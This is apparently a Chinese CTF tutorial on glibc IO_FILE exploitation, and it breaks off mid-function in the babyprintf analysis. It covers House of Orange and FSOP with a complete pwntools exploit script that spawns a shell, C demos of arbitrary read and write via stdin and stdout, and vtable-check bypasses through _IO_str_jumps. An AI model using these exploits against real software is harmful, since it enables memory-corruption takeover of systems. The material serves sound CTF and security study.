        io = remote('192.168.152.138',10001)

is_debug = True
def debug(gdbscript=""):
    if is_debug:
        gdb.attach(io, gdbscript=gdbscript)
        pause()
    else:
        pass

def build(length, name, price, color):
    io.sendlineafter(b"Your choice :", str(1).encode())
    io.sendlineafter(b"Length of name :", str(length).encode())
    io.sendafter(b"Name :", name)
    io.sendlineafter(b"Price of Orange:", str(price).encode())
    io.sendlineafter(b"Color of Orange:", str(color).encode())

def upgrade(length, name, price, color):
    io.sendlineafter(b"Your choice :", str(3).encode())
    io.sendlineafter(b"Length of name :", str(length).encode())
    io.sendafter(b"Name:", name)
    io.sendlineafter(b"Price of Orange: ", str(price).encode())
    io.sendlineafter(b"Color of Orange:", str(color).encode())

泄露libc和heap基址

def leak():
    global malloc_hook, _IO_list_all, system_addr, heap_base
    build(0x30, b'ffff', 233, 0xDDAA) # chunk0
    #debug()
    payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA)
    payload += p64(0) * 2 + p64(0xf81)
    upgrade(len(payload), payload, 233, 0xDDAA) # size must be page aligned
    #debug()
    build(0x1000, b'f', 233, 0xDDAA) # chunk1
    #debug()
    build(0x400, b'f'*8, 666, 2) # chunk2
    debug()
    io.sendlineafter(b"Your choice :", str(2).encode())
    io.recvuntil(b'f'*8)
    libc.address = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x3c5188
    lk('libc base address', libc.address)
    _IO_list_all = libc.sym['_IO_list_all']
    system_addr = libc.sym['system']
    lk('_IO_list_all', _IO_list_all)
    lk('system_addr', system_addr)

    upgrade(0x10, b'f'*0x10, 666, 2)
    debug()
    io.sendlineafter(b"Your choice :", str(2).encode())
    io.recvuntil(b'f'*0x10)
    heap_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
    heap_base = heap_addr - 0xE0
    lk('heap_base', heap_base)

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首先通过堆溢出将 top_chunk 的大小改为 0xf81

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然后申请一块大于 0xf81chunk 利用上面讲的 sysmalloc 中的 _int_free 函数将 old_top_chunk 放入 unsorted_bin 中。在申请 0x400 大小的 large_chunkptmalloc2 会先将 old_top_chunk 放进 large_bin,然后切分 old_top_chunk,再将其放回 unsorted_bin。 所以此时其 fd_nextsizebk_nextsize 遗留了 heap 地址。其 bk 位置遗留了 main_arean+0x668 的地址。我们可以通过 0x400 这个堆块泄露出 heaplibc 地址,然后通过计算偏移获得基址。

FSOP

def FSOP():
    orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) # unsorted_bin_attack
    orange += p64(0) + p64(1)
    orange = orange.ljust(0xc0, b'\x00')
    orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)

    payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA) + p64(0)
    payload += orange
    upgrade(len(payload), payload, 233, 0xDDAA)
    debug()

    gdb.attach(io)
    io.sendlineafter(b'Your choice : ', str(1).encode())
    pause()

我们可以通过 unsorted_bin_attack_IO_list_all 指向 main_arena+0x58 ,但这块区域是我们不可控的,我们看一下 malloc_state 结构体源码:

struct malloc_state
{
  __libc_lock_define (, mutex);
  int flags;
  /* int have_fastchunks; glibc 2.23 无此成员 */
  mfastbinptr fastbinsY[NFASTBINS];
  mchunkptr top;
  mchunkptr last_remainder;
  mchunkptr bins[NBINS * 2 - 2];
  unsigned int binmap[BINMAPSIZE];
  struct malloc_state *next;
  struct malloc_state *next_free;
  INTERNAL_SIZE_T attached_threads;
  INTERNAL_SIZE_T system_mem;
  INTERNAL_SIZE_T max_system_mem;
};

(tips:bins[2N - 2] 和 bins[2 N - 1]分别对应链表头和链表尾指针)

bins[11] == small_bin[5] == small_bin_0x60bins[0] == unsorted_bin,相差是 12*8 = 0x60。结合 _IO_FILE_plus 结构体如下图所示:

hosa_fake_io

我们可以控制 old_top_chunk 的大小,把它 size 置为 0x61,并在其内部构建 fake_IO_FILE_plus_2 放进 small_bin[5],那么fp->_chain 将会指向 fake_IO_FILE_2。此时 main_arena 如下图。

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为了绕过如下检查:

    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)) 
        && _IO_OVERFLOW (fp, EOF) == EOF)

我们构造的 fake_IO_FILE_plus 如下图:

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检测到内存错误后的调用 _IO_OVERFLOW (fp, EOF)->_IO_OVERFLOW("/bin/sh\x00, EOF")->system("/bin/sh\x00")

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完整exp

from pwn import *

context.terminal=['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.arch='amd64'
context.os='linux'

lk = lambda addrstring, address: log.info('{}: %#x'.format(addrstring), address)

is_local = True
def connect():
    global io, elf, libc
    elf = ELF("./houseoforange")
    libc = elf.libc

    if is_local:
        io = process('./houseoforange')
    else:
        io = remote('192.168.152.138',10001)

is_debug = True
def debug(gdbscript=""):
    if is_debug:
        gdb.attach(io, gdbscript=gdbscript)
        pause()
    else:
        pass

def build(length, name, price, color):
    io.sendlineafter(b"Your choice :", str(1).encode())
    io.sendlineafter(b"Length of name :", str(length).encode())
    io.sendafter(b"Name :", name)
    io.sendlineafter(b"Price of Orange:", str(price).encode())
    io.sendlineafter(b"Color of Orange:", str(color).encode())

def upgrade(length, name, price, color):
    io.sendlineafter(b"Your choice :", str(3).encode())
    io.sendlineafter(b"Length of name :", str(length).encode())
    io.sendafter(b"Name:", name)
    io.sendlineafter(b"Price of Orange: ", str(price).encode())
    io.sendlineafter(b"Color of Orange:", str(color).encode())

def leak():
    global malloc_hook, _IO_list_all, system_addr, heap_base
    build(0x30, b'ffff', 233, 0xDDAA) # chunk0
    #debug()
    payload = cyclic(0x30) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA)
    payload += p64(0) * 2 + p64(0xf81)
    upgrade(len(payload), payload, 233, 0xDDAA) # size must be page aligned
    #debug()
    build(0x1000, b'f', 233, 0xDDAA) # chunk1
    #debug()
    build(0x400, b'f'*8, 666, 2) # chunk2
    #debug()
    io.sendlineafter(b"Your choice :", str(2).encode())
    io.recvuntil(b'f'*8)
    libc.address = u64(io.recvuntil(b'\x7f').ljust(8, b'\x00')) - 0x3c5188
    lk('libc base address', libc.address)
    _IO_list_all = libc.sym['_IO_list_all']
    system_addr = libc.sym['system']
    lk('_IO_list_all', _IO_list_all)
    lk('system_addr', system_addr)

    upgrade(0x10, b'f'*0x10, 666, 2)
    #debug()
    io.sendlineafter(b"Your choice :", str(2).encode())
    io.recvuntil(b'f'*0x10)
    heap_addr = u64(io.recvuntil(b'\n', drop=True).ljust(8, b'\x00'))
    heap_base = heap_addr - 0xE0
    lk('heap_base', heap_base)

def FSOP():
    orange = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10) # unsorted_bin_attack
    orange += p64(0) + p64(1) # fp->_mode <= 0;fp->_IO_write_ptr>fp->_IO_write_base
    orange = orange.ljust(0xc0, b'\x00')
    orange += p64(0) * 3 + p64(heap_base + 0x5E8) + p64(0) * 2 + p64(system_addr)

    payload = cyclic(0x400) + p64(0) + p64(0x21) + p32(233) + p32(0xDDAA) + p64(0)
    payload += orange
    upgrade(len(payload), payload, 233, 0xDDAA)
    #debug()

    #gdb.attach(io)
    io.sendlineafter(b'Your choice : ', str(1).encode())
    #pause()

def pwn():
    connect()
    leak()
    FSOP()
    io.interactive()

if __name__ == "__main__":
    pwn()

_IO_vtable_check 检查及新的利用方法

glibc-2.24 加入的检查

glibc-2.24 后加入了针对 IO_FILE_plusvtable 劫持的检测措施,glibc  会在调用虚函数之前首先检查 vtable 地址的是否合法。首先会验证 vtable 是否位于_IO_vtable  段中,如果满足条件就正常执行,否则会调用 _IO_vtable_check 做进一步检查。如果 vtable 是非法的,那么会引发 abort

#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
  (IO_validate_vtable                                                   \
   (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)   \
                 + (THIS)->_vtable_offset)))

IO_validate_vtable (const struct _IO_jump_t *vtable)
{
    // 计算 _IO_vtable 长度
    uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
    const char *ptr = (const char *) vtable;
    // 计算 ptr 与 __start___libc_IO_vtables 距离
    uintptr_t offset = ptr - __start___libc_IO_vtables;
    // 如果即不在 _IO_vtable_段内, 则调用 _IO_vtable_check ()
    if (__glibc_unlikely (offset >= section_length))
        _IO_vtable_check ();
    return vtable;
}

void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
  /* Honor the compatibility flag.  */
  void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (flag);
#endif
  if (flag == &_IO_vtable_check)
    return;

  /* In case this libc copy is in a non-default namespace, we always
     need to accept foreign vtables because there is always a
     possibility that FILE * objects are passed across the linking
     boundary.  */
  {
    Dl_info di;
    struct link_map *l;
    if (_dl_open_hook != NULL
        || (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
            && l->l_ns != LM_ID_BASE))
      return;
  }

#else /* !SHARED */
  /* We cannot perform vtable validation in the static dlopen case
     because FILE * handles might be passed back and forth across the
     boundary.  Therefore, we disable checking in this case.  */
  if (__dlopen != NULL)
    return;
#endif

  __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}
  1. 判断 vtable 的地址是否处于 glibc 中的 vtable 数组段,是的话,通过检查。
  2. 否则判断是否为外部的合法 vtable(重构或是动态链接库中的vtable),是的话,通过检查。
  3. 否则报错,输出Fatal error: glibc detected an invalid stdio handle,程序退出。

_fileno 相关利用

_IO_FILE 在使用标准 IO 库时会进行创建并负责维护一些相关信息,其中有一些域是表示调用 fwritefread 等函数时写入地址或读取地址的,如果可以控制这些数据就可以实现任意地址写或任意地址读。进程中包含了系统默认的三个文件流 stdin,stdout,stderr,因此这种方式可以不需要进程中存在文件操作,通过 scanf,printf一样可以进行利用。

  • fp->_fileno 的值就是文件描述符,stderr 值为 2stdout 值为 1stdin 值为 0
  • fp->_IO_buf_base 表示操作的起始地址
  • fp->_IO_buf_end 表示结束地址

stdin 任意写

大致了解 fread 的执行流程后,还需要绕过以下检查:

_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{
    ...
    /* fp->_IO_buf_base == NULL 会调用 _IO_doallocbuf (fp) 初始化缓冲区 */
      if (fp->_IO_buf_base == NULL)
    {
        /* Maybe we already have a push back pointer.  */
        if (fp->_IO_save_base != NULL)
        {
            free (fp->_IO_save_base);
               fp->_flags &= ~_IO_IN_BACKUP;
        }
        _IO_doallocbuf (fp);
    }
    /* 如果 fp->_IO_read_end > fp->_IO_read_ptr 则会将缓冲区内容复制到目标地址 */
    ...
    have = fp->_IO_read_end - fp->_IO_read_ptr;
    ...
    if (have > 0)
    {
        s = __mempcpy (s, fp->_IO_read_ptr, have);
        want -= have;
        fp->_IO_read_ptr += have;
     }
     ...
     /* 如果输入长度大于缓冲区大小则会直接读入 */
     if (fp->_IO_buf_base && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))
     {
         if (__underflow (fp) == EOF)
            break;
        continue;
     }
    ...
}

即:

  • 设置_IO_read_end等于_IO_read_ptr
  • 设置 _flag &~ _IO_NO_READS_flag &~ 0x4
  • 设置 _fileno0 ,表示读入数据的来源是 stdin
  • 设置_IO_buf_basewrite_start_IO_buf_endwrite_end
  • 使得 _IO_buf_end - _IO_buf_base 大于 fread 要读的数据。

示例

#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE

typedef unsigned long long i64;
char buf[100];

int main() {
    char stack_buf[100];
    i64 libc_base = (i64) &puts - 0x84420;
    // 0x1ec980 为 _IO_2_1_stdin_ 偏移
    FILE *fp = libc_base + 0x1ec980;
    fp->_IO_read_end = fp->_IO_read_ptr = 0x0;
    fp->_flags &= ~0x4;
    fp->_fileno = 0x0;
    fp->_IO_buf_base = (char *) buf;
    fp->_IO_buf_end = (char *) &buf[99];
    fread(stack_buf, 1, 3, fp);
    printf("buf: %s", buf);
    printf("stack_buf: %s\n", stack_buf);
    return 0;
}

使用 libc6_2.31-0ubuntu9.9_amd64 版本编译运行结果如下:

30

30

stdout 任意写

有如下源码:

_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
    ...
    else if (f->_IO_write_end > f->_IO_write_ptr)
        count = f->_IO_write_end - f->_IO_write_ptr;
    if (count > 0)
    {
        if (count > to_do)
            count = to_do;

        f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
        s += count;
        to_do -= count;
    }
    ...
}

_IO_write_ptr 指向 write_start_IO_write_end 指向 write_end 即可实现在目标地址写入数据。

示例

#include<stdio.h>
#include<unistd.h>
#define _GNU_SOURCE

typedef unsigned long long i64;
char buf[5];

int main() {
    char *stack_buf = "abcdefg";
    i64 libc_base = (i64) &puts - 0x84420;
    FILE *fp = (FILE *) (libc_base + 0x1ed6a0);
    fp->_IO_write_ptr = (char *) &buf[0];
    fp->_IO_write_end = (char *) &buf[4];
    fwrite(stack_buf, 1, 8, fp);
    printf("\nbuf: %s\n", buf);
    return 0;
}

使用 libc6_2.31-0ubuntu9.9_amd64 版本编译运行结果如下:

31

31

stdout 任意读

程序正确执行到 _IO_overflow 时,有如下源码:

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
    ...
    /*
    *  f->_IO_write_end > f->_IO_write_ptr 就会将待输出的数据写入缓冲区,_IO_overflow 只有在输出缓冲区写满的时候才将其       *  输出。因此为了不造成不必要的麻烦,直接令 f->_IO_write_end = f->_IO_write_ptr 。
    */
    else if (f->_IO_write_end > f->_IO_write_ptr)
        count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

      /* Then fill the buffer. */
      if (count > 0)
    {
          if (count > to_do)
            count = to_do;

          f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
          s += count;
          to_do -= count;
    }
      ...
}
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
    // _flags 不能包含 _IO_NO_WRITES,其值为 0x8 。
      if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
          f->_flags |= _IO_ERR_SEEN;
          __set_errno (EBADF);
          return EOF;
    }
    //为了进入如下分枝进造成不必要的麻烦, _flags 应包含 _IO_CURRENTLY_PUTTING,其值为 0x0800
     if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
    {
        ...
        // _IO_write_base = read_start,_IO_write_ptr = read_end 
          if (ch == EOF)
            return _IO_do_write (f, f->_IO_write_base,f->_IO_write_ptr - f->_IO_write_base);
        ...
    }
}

int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  return (to_do == 0
      || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
    ...
    // 构造 _flags 包含 _IO_IS_APPENDING,其值为 0x1000 
    // 或者 _IO_read_end 等于 _IO_write_base 就可以直接执行到 _IO_SYSWRITE
    if (fp->_flags & _IO_IS_APPENDING)
        fp->_offset = _IO_pos_BAD;
      else if (fp->_IO_read_end != fp->_IO_write_base)
    {
          _IO_off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
          if (new_pos == _IO_pos_BAD)
            return 0;
         fp->_offset = new_pos;
    }
      count = _IO_SYSWRITE (fp, data, to_do);
    ...
}

  • 设置 _flag &~ _IO_NO_WRITES_flag &~ 0x8
  • 设置_flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  • 设置 _IO_write_base 指向想要泄露的地方;_IO_write_ptr 指向泄露结束的地址。
  • 设置 _IO_read_end 等于_IO_write_base 或设置 _flag & _IO_IS_APPENDING_flag | 0x1000
  • 设置 _IO_write_end 等于 _IO_write_ptr(非必须)。

示例

#include<stdio.h>

typedef unsigned long long i64;
char buf[] = "123456";

int main() {
    char stack_buf[] = "abcdef";
    i64 libc_base = (i64) &puts - 0x84420;
    // _IO_2_1_stdout
    FILE *fp = (FILE *) (libc_base + 0x1ed6a0);
    fp->_flags &= ~0x8;
    fp->_flags |= 0x800;
    fp->_IO_write_base = (char *) buf;
    fp->_IO_write_ptr = (char *) &buf[6];
    fp->_IO_read_end = fp->_IO_write_base;
    puts(stack_buf);
    return 0;
}

32

32

_IO_str_jumps 与 _IO_wstr_jumps

__start___libc_IO_vtables指向第一个 vtable 地址_IO_helper_jumps,而__stop___libc_IO_vtables指向最后一个vtable_IO_str_chk_jumps结束的地址。想将 vtable 覆盖成外部地址且仍然通过检查,可以有两种方式:

  1. 使得 flag == &_IO_vtable_check
  2. 使 _dl_open_hook!= NULL
  3. 寻找其他位于__start___libc_IO_vtables__stop___libc_IO_vtables 之间的 vtable

第一种方式不可控,因为 flag 的获取和比对是类似 canary 的方式,其对应的汇编代码如下:

<_IO_vtable_check+7>     mov    rax, qword ptr [rip + 0x32bb2a] <0x7fefcac69458>
<_IO_vtable_check+14>    ror    rax, 0x11
<_IO_vtable_check+18>    xor    rax, qword ptr fs:[0x30]
<_IO_vtable_check+27>    cmp    rax, rdi

第二种方式,理论上可行,但是如果我们可以找到存在往_dl_open_hook中写值的方法,完全利用该方法来进行更为简单的利用。

第三种方式, _IO_str_jumps__IO_wstr_jumps 这两个 vtable 就位于 __stop___libc_IO_vtables__start___libc_IO_vtables 之间,所以我们是可以利用他们来通过 IO_validate_vtable 的检测的,只需要将 *vtable 填成 _IO_str_jumps_IO_wstr_jumps 地址即可。_IO_wstr_jumps_IO_str_jumps功能基本一致,只是_IO_wstr_jumps是处理 wchar的,利用方式主要有针对 _IO_str_jumps 中的 _IO_str_finsh 函数和 _IO_str_overflow 两种。

一些下面用到的结构体定义

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};

struct _IO_streambuf
{
  struct _IO_FILE _f;
  const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;

_IO_str_jumps

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

_IO_str_jumps 符号在 strip 后会丢失,定位其地址方法如下:

  • _IO_str_jumpsvtable 中的倒数第二个表,可以通过 vtable 的最后地址减去0x168
  • IDA 寻找_IO_file_jumps 在后面找到_IO_str_****的函数表即可。

33

33

_IO_str_finish

下面是 _IO_str_finish 函数:

/* glibc < 2.28 的实现 */
void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}

它使用了 _IO_FILE 结构体中的值当作函数地址来直接调用,如果修改 ((_IO_strfile *) fp)->_s._free_buffersystem 地址,然后修改 fp->_IO_buf_base/bin/sh\x00 字符串地址,然后触发程序执行 _IO_str_finish 函数就可以得到 shell

  • 首先需要绕过之前的 _IO_flush_all_lokcp函数中的输出缓冲区的检查 _mode<=0 以及_IO_write_ptr>_IO_write_base 进入到 _IO_OVERFLOW 中。
  • vtable 的地址覆盖成 _IO_str_jumps-0x8 的地址,这样原来 _IO_OVERFLOW 就变成 _IO_str_finish
  • fp->_IO_buf_base = "/bin/sh\x00" 作为函数第一个参数。
  • fp->_flags要不包含_IO_USER_BUF,它被定义为 1 ,即 fp->_flags最低位为 0
  • fp->_s._free_buffer(fp+0xe8)改为systemone gadget的地址。

_IO_str_overflow

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
int
_IO_str_overflow (_IO_FILE *fp, int c)
{
    int flush_only = c == EOF;
    ...
    // fp->_IO_write_ptr - fp->_IO_write_base >= (_IO_size_t) (_IO_blen (fp) + flush_only)
      pos = fp->_IO_write_ptr - fp->_IO_write_base;
      if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
        // not allowed 绕过 _IO_USER_BUF(0x01)
          if (fp->_flags & _IO_USER_BUF)
            return EOF;
          else
        {
              char *new_buf;
              char *old_buf = fp->_IO_buf_base;
            // fp->_IO_buf_end - fp->_IO_buf_base,这里让 _IO_buf_base = 0;
              size_t old_blen = _IO_blen (fp);
            // fp->_IO_buf_end = (bin_sh_addr - 100) / 2
              _IO_size_t new_size = 2 * old_blen + 100;
              if (new_size < old_blen)
                return EOF;
            // 函数指针调用 fp+0xe8 = system_addr
              new_buf= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
            ...
        }
        ...
    }
    ...
}

即绕过条件为

  • 首先需要绕过之前的 _IO_flush_all_lokcp函数中的输出缓冲区的检查 _mode<=0 以及_IO_write_ptr>_IO_write_base 进入到 _IO_OVERFLOW 中。
  • _IO_buf_base = 0_IO_buf_end = (bin_sh_addr - 100) / 2
  • fp->_flags要不包含_IO_USER_BUF,它被定义为 1 ,即 fp->_flags最低位为 0
  • _IO_write_ptr = ((bin_sh_addr - 100) / 2) +1_IO_write_base = 0x0
  • fp->_s._allocate_buffer(fp+0xe0) 改为 systemone_gadget 地址。

直接将 vtable->fake_IO_str_jumps_vtable 即可,因为 _IO_str_overflow 也在 0x18 的位置。

_IO_wstr_jumps

其用法和_IO_str_jumps 相似,_IO_wstr_jumps_IO_str_jumps功能基本一致,只是_IO_wstr_jumps是处理 wchar的。其定义如下:

const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_wstr_finish),
  JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),
  JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
  JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
  JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
  JUMP_INIT(xsputn, _IO_wdefault_xsputn),
  JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
  JUMP_INIT(seekoff, _IO_wstr_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_wdefault_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

_IO_wstr_overflow

_IO_wint_t
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
{
  int flush_only = c == WEOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : WEOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
      fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
    }
  pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only))
    {
      if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
    return WEOF;
      else
    {
      wchar_t *new_buf;
      wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
      size_t old_wblen = _IO_wblen (fp);
      _IO_size_t new_size = 2 * old_wblen + 100;

      if (__glibc_unlikely (new_size < old_wblen)
          || __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
        return EOF;

      new_buf = (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size * sizeof (wchar_t));
      if (new_buf == NULL)
        {
          /*      __ferror(fp) = 1; */
          return WEOF;
        }
      if (old_buf)
        {
          __wmemcpy (new_buf, old_buf, old_wblen);
          (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
          /* Make sure _IO_setb won't try to delete _IO_buf_base. */
          fp->_wide_data->_IO_buf_base = NULL;
        }

      __wmemset (new_buf + old_wblen, L'\0', new_size - old_wblen);

      _IO_wsetb (fp, new_buf, new_buf + new_size, 1);
      fp->_wide_data->_IO_read_base =
        new_buf + (fp->_wide_data->_IO_read_base - old_buf);
      fp->_wide_data->_IO_read_ptr =
        new_buf + (fp->_wide_data->_IO_read_ptr - old_buf);
      fp->_wide_data->_IO_read_end =
        new_buf + (fp->_wide_data->_IO_read_end - old_buf);
      fp->_wide_data->_IO_write_ptr =
        new_buf + (fp->_wide_data->_IO_write_ptr - old_buf);

      fp->_wide_data->_IO_write_base = new_buf;
      fp->_wide_data->_IO_write_end = fp->_wide_data->_IO_buf_end;
    }
    }

  if (!flush_only)
    *fp->_wide_data->_IO_write_ptr++ = c;
  if (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_read_end)
    fp->_wide_data->_IO_read_end = fp->_wide_data->_IO_write_ptr;
  return c;
}

_IO_wstr_finish

void
_IO_wstr_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base);
  fp->_wide_data->_IO_buf_base = NULL;

  _IO_wdefault_finish (fp, 0);
}

glibc-2.28 防御措施

glibc-2.28 版本中,用操作堆的 malloc 函数和 free 函 数 替 换 原 来 在 _IO_str_fields 里 的 _allocate_buffer_free_buffer 。 由 于 不 再 使 用 偏 移 , 也 就 不 能 利 用 __libc_IO_vtables 上的 vtable 绕过检查,于是新的 FOSP 利用技术 就失效了。

void
_IO_str_finish (FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
    free (fp->_IO_buf_base);
  fp->_IO_buf_base = NULL;

  _IO_default_finish (fp, 0);
}
void
_IO_wstr_finish (FILE *fp, int dummy)
{
  if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF))
    free (fp->_wide_data->_IO_buf_base);
  fp->_wide_data->_IO_buf_base = NULL;

  _IO_wdefault_finish (fp, 0);
}
int
_IO_str_overflow (FILE *fp, int c)
{
      int flush_only = c == EOF;
    ...
      pos = fp->_IO_write_ptr - fp->_IO_write_base;
      if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
          if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
            return EOF;
          else
        {
              char *new_buf;
              char *old_buf = fp->_IO_buf_base;
              size_t old_blen = _IO_blen (fp);
              size_t new_size = 2 * old_blen + 100;
              if (new_size < old_blen)
                return EOF;

              new_buf = malloc (new_size);
    ...
}
wint_t
_IO_wstr_overflow (FILE *fp, wint_t c)
{
      int flush_only = c == WEOF;
    ...
      pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
      if (pos >= (size_t) (_IO_wblen (fp) + flush_only))
    {
          if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
            return WEOF;
          else
        {
              wchar_t *new_buf;
              wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
              size_t old_wblen = _IO_wblen (fp);
              size_t new_size = 2 * old_wblen + 100;

          if (__glibc_unlikely (new_size < old_wblen)
              || __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
            return EOF;

          new_buf = malloc (new_size * sizeof (wchar_t));
    ...
}        

[hctf2017]babyprintf

检查信息

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开了 NXCanary,题目 libc2.24 版本。

试运行

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37

逆向分析

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  void *v3; // rbx
  unsigned int v4; // eax

  Init(a1, a2, a3);
  while ( 1 )
  {
    __printf_chk(1LL, "size: ");
    v4 = read_n();
    if ( v4 > 0x1000 )
      break;
    v3 = malloc(v4);
    __printf_chk(1LL, "string: ");
    gets(v3);
    __printf_chk(1LL, "result: ");
    __printf_chk(1LL, v3);
  }
  puts("too long");
  exit(1);
}
unsigned __int64 read_n()
{
  __int64 v0; // rbx
  __int64 v1; // rbp
  char v2; // al
  char v4[24]; // [rsp+0h] [rbp-38h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-20h]

  v0 = 0LL;
  v5 = __readfsqword(0x28u);
  while ( 1 )
  {
    v1 = (int)v0;
